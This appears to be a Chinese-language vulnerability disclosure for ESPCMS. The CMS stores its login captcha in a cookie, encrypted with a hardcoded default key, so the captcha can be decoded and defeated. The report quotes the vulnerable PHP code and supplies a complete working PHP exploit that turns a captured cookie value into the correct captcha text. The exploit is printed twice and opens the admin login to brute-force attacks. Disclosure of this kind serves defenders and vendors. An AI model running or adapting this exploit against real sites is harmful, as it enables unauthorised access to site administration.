ESPCMS 全版验证码破解验证码等于虚设（可导致爆破等附解密exp）

### 简要描述： ESPCMS 全版！验证码破解！验证码等于虚设（可导致爆破等） ### 详细说明： 先看验证码生成的方法！只是生成了一个6位随机数 然后加密保存到cookie中！关键点在于加密函数eccode 竟然采用的是默认的key ``` $fun = new functioninc(); $seccode = rand(100000, 999999); $secode = $fun->accept('secode', 'R'); if ($secode == 'ecisp_seccode') { $secode_name = 'ecisp_seccode'; } else { $secode_name = 'ecisp_home_seccode'; } $fun->setcookie($secode_name, $fun->eccode($seccode . "\t" . time(), 'ENCODE')); ``` 文件/public/class_function.php加密函数 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ``` 再看验证码验证机制 ``` function onlogin_into() { include_once admin_ROOT . '/public/class_seccode.php'; $linkURL = $_SERVER['HTTP_REFERER']; ................................... list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE')); $code = new seccode(); $code->seccodeconvert($new_seccode); ................................... } ``` 给你们看下他的seccodeconvert函数 就是将6位随机数变成验证码的 ``` function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } } ``` 那么写个exp破解下？根据验证验证码的代码逻辑得到一下exp ``` <?php list($new_seccode, $expiration) = explode("\t",eccode('XHZ-d4JlPaRmYm1edquRmYY', 'DECODE')); //XHZ-d4JlPaRmYm1edquRmYY 就是$_COOKIE['ecisp_seccode']就是名为ecisp_seccode的cookie echo seccodeconvert($new_seccode); function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } return $seccode; } function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ?> ``` [<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png)

$fun = new functioninc();
$seccode = rand(100000, 999999);
$secode = $fun->accept('secode', 'R');
if ($secode == 'ecisp_seccode') {
    $secode_name = 'ecisp_seccode';
} else {
    $secode_name = 'ecisp_home_seccode';
}
$fun->setcookie($secode_name, $fun->eccode($seccode . "\t" . time(), 'ENCODE'));

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
        $result = null;
        if ($operation == 'ENCODE') {
            for ($i = 0; $i < strlen($string); $i++) {
                $char = substr($string, $i, 1);
                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                $char = chr(ord($char) + ord($keychar));
                $result.=$char;
            }
            $result = base64_encode($result);
            $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
        } elseif ($operation == 'DECODE') {
            $data = str_replace(array('-', '_'), array('+', '/'), $string);
            $mod4 = strlen($data) % 4;
            if ($mod4) {
                $data .= substr('====', $mod4);
            }
            $string = base64_decode($data);
            for ($i = 0; $i < strlen($string); $i++) {
                $char = substr($string, $i, 1);
                $keychar = substr($key, ($i % strlen($key)) - 1, 1);
                $char = chr(ord($char) - ord($keychar));
                $result.=$char;
            }
        }
        return $result;
    }

function onlogin_into() {
        include_once admin_ROOT . '/public/class_seccode.php';
        $linkURL = $_SERVER['HTTP_REFERER'];
...................................
        list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE'));
        $code = new seccode();
        $code->seccodeconvert($new_seccode);
...................................
}

function seccodeconvert(&$seccode) {
        $s = sprintf('%04s', base_convert($seccode, 10, 20));
        $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
        $seccode = '';
        for ($i = 0; $i < 4; $i++) {
            $unit = ord($s{$i});
            $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
        }
    }

<?php
list($new_seccode, $expiration) = explode("\t",eccode('XHZ-d4JlPaRmYm1edquRmYY', 'DECODE')); //XHZ-d4JlPaRmYm1edquRmYY 就是$_COOKIE['ecisp_seccode']就是名为ecisp_seccode的cookie
echo seccodeconvert($new_seccode);
function seccodeconvert(&$seccode) {
    $s = sprintf('%04s', base_convert($seccode, 10, 20));
    $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
    $seccode = '';
    for ($i = 0; $i < 4; $i++) {
        $unit = ord($s{$i});
        $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
    }
    return $seccode;
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
    $result = null;
    if ($operation == 'ENCODE') {
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) + ord($keychar));
            $result.=$char;
        }
        $result = base64_encode($result);
        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
    } elseif ($operation == 'DECODE') {
        $data = str_replace(array('-', '_'), array('+', '/'), $string);
        $mod4 = strlen($data) % 4;
        if ($mod4) {
            $data .= substr('====', $mod4);
        }
        $string = base64_decode($data);
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) - ord($keychar));
            $result.=$char;
        }
    }
    return $result;
}
?>